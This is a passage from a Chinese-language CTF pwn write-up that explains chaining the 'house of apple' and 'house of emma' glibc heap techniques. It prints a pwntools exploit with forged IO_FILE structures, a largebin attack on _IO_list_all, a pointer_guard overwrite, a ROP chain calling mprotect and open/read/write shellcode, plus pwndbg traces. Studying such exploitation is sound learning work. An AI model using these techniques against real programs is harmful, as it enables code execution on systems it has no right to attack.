4.house of apple 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 target_addr = libc_base + libc.sym['_IO_list_all' ] _IO_wstrn_jumps = libc_base + 0x1f3d20 _IO_cookie_jumps = libc_base + 0x1f3ae0 _lock = libc_base + 0x1f5720 point_guard_addr = libc_base - 0x2890 expected = heap_base + 0x1900 chain = heap_base + 0x1910 magic_gadget = libc_base + 0x146020 mov_rsp_rdx_ret = libc_base + 0x56530 add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449 pop_rdi_ret = libc_base + 0x2daa2 pop_rsi_ret = libc_base + 0x37c0a pop_rdx_rbx_ret = libc_base + 0x87729 f1 = IO_FILE_plus_struct() f1._IO_read_ptr = 0xa81 f1.chain = chain f1._flags2 = 8 f1._lock = _lock f1._mode = 0 f1._wide_data = point_guard_addr f1.vtable = _IO_wstrn_jumps f2 = IO_FILE_plus_struct() f2._IO_write_base = 0 f2._IO_write_ptr = 1 f2._mode = 0 f2._lock = _lock f2._flags2 = 8 f2.vtable = _IO_cookie_jumps + 0x58 data = flat({ 0x8 : target_addr - 0x20 , 0x10 : { 0 : { 0 : bytes (f1), 0x100 : { 0 : bytes (f2), 0xe0 : [chain + 0x100 , rol(magic_gadget ^ expected, 0x11 )], 0x100 : [ add_rsp_0x20_pop_rbx_ret, chain + 0x100 , 0 , 0 , mov_rsp_rdx_ret, 0 , pop_rdi_ret, chain & ~0xfff , pop_rsi_ret, 0x4000 , pop_rdx_rbx_ret, 7 , 0 , libc_base + libc.sym['mprotect' ], chain + 0x200 ], 0x200 : asm(shellcraft.open ('./flag' , 0 ) + shellcraft.read(3 , heap_base, 0x100 ) + shellcraft.write(1 , heap_base, 0x100 )) } }, 0xa80 : [0 , 0xab1 ] } }) edit(5 , data) delete(2 ) add(3 ) exit()
因为这里是house of apple和emma的嵌套,所以会有些不好看,我们分开看,先只关注apple的部分,先了解apple的流程,也就是利用house of apple
修改掉pointer_guard
的值的部分:
我们关注fake_io_file1
中的_wide_data
部分,可以看到他被修改为了target_addr,也就是pointer_guard
,vtable被修改为了_IO_wstrn_jumps
,_mode
改为了0,这样会触发_IO_wstrn_overflow
,将pointer_guard
开始的0x40个字节改写为&fake_io_file1+0xf0
或者&fake_io_file1+0x1f0
伪造完成了,但是这是怎么触发的呢:
我们在edit(5, data)后下断点
1 2 3 4 5 6 7 8 9 10 11 12 00:0000│ 0x55c2d9c02040 (__bss_start+46) —▸ 0x55c2db3772a0 ◂— 0x0 01:0008│ 0x55c2d9c02048 (__bss_start+54) —▸ 0x55c2db377d60 ◂— 0x0 02:0010│ 0x55c2d9c02050 (__bss_start+62) —▸ 0x55c2db378820 ◂— 0x0 03:0018│ 0x55c2d9c02058 (__bss_start+70) —▸ 0x55c2db3772a0 ◂— 0x0 04:0020│ 0x55c2d9c02060 (__bss_start+78) —▸ 0x55c2db377d50 ◂— 0x0 05:0028│ 0x55c2d9c02068 (__bss_start+86) —▸ 0x55c2db378800 ◂— 0x6161616261616161 ('aaaabaaa') 06:0030│ 0x55c2d9c02070 (__bss_start+94) —▸ 0x55c2db3792b0 ◂— 0x0 07:0038│ 0x55c2d9c02078 (__bss_start+102) —▸ 0x55c2db3772a0 ◂— 0x0 08:0040│ 0x55c2d9c02080 (__bss_start+110) —▸ 0x55c2db3787f0 —▸ 0x7fa7001f3250 (main_arena+1520) —▸ 0x7fa7001f3240 (main_arena+1504) —▸ 0x7fa7001f3230 (main_arena+1488) ◂— ... 09:0048│ 0x55c2d9c02088 (__bss_start+118) —▸ 0x55c2db3792a0 ◂— 0x0 0a:0050│ 0x55c2d9c02090 (__bss_start+126) —▸ 0x55c2db379d50 ◂— 0x0 0b:0058│ 0x55c2d9c02098 (__bss_start+134) ◂— 0x0
我们注意到chunk 8的bk_nextsize为0x55c2db3787f0+0x18=0x55c2db378800 + 8,也就是chunk 5+8
largebin attack:将 fwd 的 bk_nextsize
修改为 target_addr - 0x20
,fwd->bk_nextsize
(victim->bk_nextsize
) 的 fd_nextsize
指针就是 target_addr
,根据 victim->bk_nextsize->fd_nextsize = victim;
就能完成在 target_addr
处写入 victim
的地址
edit(5)的时候在0x8处放_IO_list_all
- 0x20,从而让bk_nextsize 指向_IO_list_all
- 0x20,这样后面delete(2)触发largebin attack时就会向_IO_list_all
填写伪造了io_file
的地址(结合payload,f1是在0x55c2db378800+0x10处伪造的,也就是chunk2的元数据开始伪造),所以我们在data+0x10=0x55c2db378810
处伪造fake_io_file1
,并且其size也就是f1->_IO_read_ptr要伪造成0xa81,来绕过free时对size的检测
此时再进行exit就会触发fsop从而执行house of apple,这里将pointer_guard
的值修改为了fake_io_file2的地址,我们记录为expect=heapbase+0x1900
5.house of emma 我们将f2放在f1偏移0x100处,也就是0x55c2db378810 + 0x100 = 0x55c2db378910 处,所以f1的chain我们就填0x55c2db378910 = heapbase + 0x1910
1 2 3 0 : bytes (f1), 0x100 : { 0 : bytes (f2),
1 2 3 4 pwndbg> heapbase heapbase : 0x55fa03e60000 pwndbg> p/x 0x55fa03e61910 - 0x55fa03e60000 $3 = 0x1910
这时我们再来看f2
根据正常house of emma的链子,我们这里vtable应该要填_IO_cookie_jumps + 0x38
__fxprintf
->__vfprintf_internal
->_IO_cookie_read
->mg2
->setcontext+61
但是这里为什么没有填38而是58呢,因为我们这里其实用的不是这一条链子,apple1在执行的时候已经进入到
这一条链子里了,怎么还会触发__fxprintf
呢,其实这是通过fllush刷新流的过程中切换到f2之后调用f2的_IO_OVERFLOW
,也就是call [rax + 0x18],所以这里我们要填_IO_cookie_jumps
+ 0x58,这样加起来就是0x70也就是_IO_cookie_read
了
1 2 3 4 5 ► 0x7ffff7c85e8f <_IO_flush_all_lockp+207> call qword ptr [rax + 0x18] <_IO_cookie_read> rdi: 0x55555560c910 ◂— 0x0 rsi: 0xffffffff rdx: 0x7ffff7fc45f0 —▸ 0x55555560c900 ◂— 'oaacpaacqaacraac' rcx: 0x1d8
剩下就和emma一样了,此时rdi是f2地址,执行完_IO_cookie_read
是f2地址+0xe0,我们在这里填一个地址:f2+0x100,那么rdi就变成f2+0x100
1 2 3 4 5 6 7 8 9 10 11 12 <_IO_cookie_read>: endbr64 <_IO_cookie_read+4>: mov rax,QWORD PTR [rdi+0xe8] <_IO_cookie_read+11>: ror rax,0x11 <_IO_cookie_read+15>: xor rax,QWORD PTR fs:0x30 <_IO_cookie_read+24>: test rax,rax <_IO_cookie_read+27>: je <_IO_cookie_read+38> <_IO_cookie_read+29>: mov rdi,QWORD PTR [rdi+0xe0] <_IO_cookie_read+36>: jmp rax <_IO_cookie_read+38>: mov rax,0xffffffffffffffff <_IO_cookie_read+45>: ret
利用magic_gadget控制rdx,再用setcontext+61将rdx变为[rdi+8]=[f2+0x100+8],f2+0x108这里放的是f2+0x100,所以rdx等于f2+0x100
再call [rdx + 0x20]也就是call [f2+0x120],正常来说f2 + 120这里我们就应该放setcontext+61的地址了,但是f2+0x120这里我们放的是mov_rsp_rdx_ret,也就是rsp=f2+0x100,call [f2 + 108],然后f2 + 108再放add_rsp_0x20_pop_rbx_ret,也就是rsp = rsp + 0x20 = f2 + 0x120,rbx = [f2 + 0x128],这里放的是0,call [f2 + 0x130],这里放的是rop链,然后就mprotext+orw结束了
1 magic_gadget = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
为什么要这么做呢?是为了避开setcontext吗?那这么看house of emma也可以避开setcontext+61,留做